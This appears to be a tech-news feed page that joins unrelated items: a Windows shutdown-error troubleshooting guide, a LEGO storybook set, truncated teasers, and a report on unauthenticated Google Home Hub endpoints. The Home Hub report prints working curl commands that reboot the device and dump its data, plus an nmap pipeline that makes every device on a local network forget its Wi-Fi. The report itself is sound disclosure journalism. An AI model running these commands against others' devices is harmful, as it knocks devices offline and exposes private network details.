Hasta La Gadget!

You get the DDE Server Window error if there is a conflict with an application or the Windows OS itself. So, before trying out any of the solutions mentioned, you should first ensure that you have the latest Windows updates installed on your system.

Now, considering that you have checked for the updates available for the OS, let us try out a few solutions that should do the trick.

1. Perform a System Scan

You may not find a lot of people recommending this command, but it is a very easy and simple fix. You just need to launch the command prompt as an administrator and then type in the following command:

SFC /SCANNOW

This will scan for any corrupt system files and automatically repair them. You do not have to do anything else – just wait for the verification to complete. It will take a few minutes to complete.

2. Check Startup Programs

You must be having a couple of programs that launch right after Windows boot. One of those startup services might be the culprit causing this issue when you try to shut down. So, you need to disable them temporarily and then try shutting down your system. Here’s how to do it:

1. Search for “msconfig” and you will find System Configuration pop up as shown in the image below. Click on it.
   
2. Now, under the “General” tab select “Diagnostic Startup” and then click “OK“.

If you are able to successfully shut down your system without the DDE Server Window error after performing the diagnostic startup- you need to individually check which one of the startup services when enabled is causing the issue.

3. Avoid Shutting down using the start menu

Some of the users noticed that they encounter this error only when they utilize the start menu to shut down their system. So, you need to consider a workaround, press Windows + X and then navigate to the shutdown option to perform a shutdown as shown in the image above.

If this does not work, you can launch the Run dialogue box by pressing Windows + R and then type in the following command:

shutdown /s

4. Tip: Disconnect your second monitor

If you happen to utilize two displays for your system, it is always advisable to disconnect your second monitor before shutting down. Of course, this is not a software-based solution- but it is somewhat helpful – if you have that kind of setup.

5. Reminder: Keep your Windows up-to-date

As mentioned earlier, you should definitely update your OS whenever an update is available. And, I will not recommend you to rely on Windows Insider builds to fix the issues you are facing.

Wrapping Up

Now that you know about the solutions to fix DDE Server Window error, you should have no problem shutting down your computer. If the above-mentioned solutions still did not help you, let us know in the comments section below.

Unable To Shutdown Due To A DDE Server Window: 5 Ways To Fix , original content from Ubergizmo. Read our Copyrights and terms of use.

LEGO wrote the book on building blocks and now building blocks are making the LEGO book. Things have come full circle. I mean brick. Check out these official product shots of the $70 ‘Once Upon A Brick’ pop-up LEGO storybook that will be released on November 1st.

The set started out life as a design seeking support on the LEGO Ideas website, and after jumping over all of the requisite hurdles, it can finally be a real life set. The production version is an 859-piece kit with enough bricks to build a storybook that contains either a Little Red Riding Hood or Jack and the Beanstalk themed pop-up scene inside. You can swap between the two. Pretty cool.

You can even build a scene of your own when you get tired of the two that are provided for you in the box. This LEGO set also includes a booklet with a short history of pop-up books, a condensed history of each fairy tale in the set, and information about its fan designers and LEGO designers.

It arrives just in time for Christmas so this one should be under many trees this year, or if you’re a LEGO collector yourself, you should definitely book your LEGO literature today.

[via The Awesomer via Geekologie]

Sotheby’s is holding an auction in New York that will have a unique item as the big draw for the show. The item is the only known lunar soil samples in private hands with documented provenance. This soil sample isn’t from NASA, but from Russia. The soil samples were obtained in September 1970 by the Luna-16 mission to the moon. … Continue reading

You don’t have too many choices in the US when it comes to tall-ratio smartphones on a budget — the Moto E5 series is on the short list. ZTE believes it can expand your options a little further. It’s launching the Blade Max View (above) and Blade Ma…

Security advocate Jerry Gamblin has posted a set of instructions – essentially basic lines of XML – that can easily pull important information off of the Google Home Hub and, in some cases, temporarily brick the device.

The Home Hub, which is essentially an Android tablet attached to a speaker, is designed to act as an in-room Google Assistant. This means it connects to Wi-Fi (and allows you to see open Wi-Fi access points near the device), receives video and photos from other devices (and broadcasts its pin), and accepts commands remotely (including a quick reboot via the command line).

The command – which consists of a simple URL call via the command line – is clearly part of the setup process. You can try this at home if you replace “hub” with the Home Hub’s local IP address.

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

Other one-liners expose further data, including a number of micro services:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

Finally, this line causes all devices on your network to forget their Wi-Fi, forcing you to reenter the setup process.

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

As Gamblin notes, these holes aren’t showstoppers but they are very alarming. Allowing unauthenticated access to these services is lazy at best and dangerous at worst. He also notes that these endpoints have been open for years on various Google devices, which means this is a regular part of the code base and not considered an exploit by Google.

Again, nothing here is mission critical – no Home Hub will ever save my life – but it would be nice to know that devices based on the platform have some modicum of security, even in the form of authentication or obfuscation. Today we can reboot Grandpa’s overcomplicated picture frame with a single line of code but tomorrow we may be able to reboot Grandpa’s oxygen concentrator.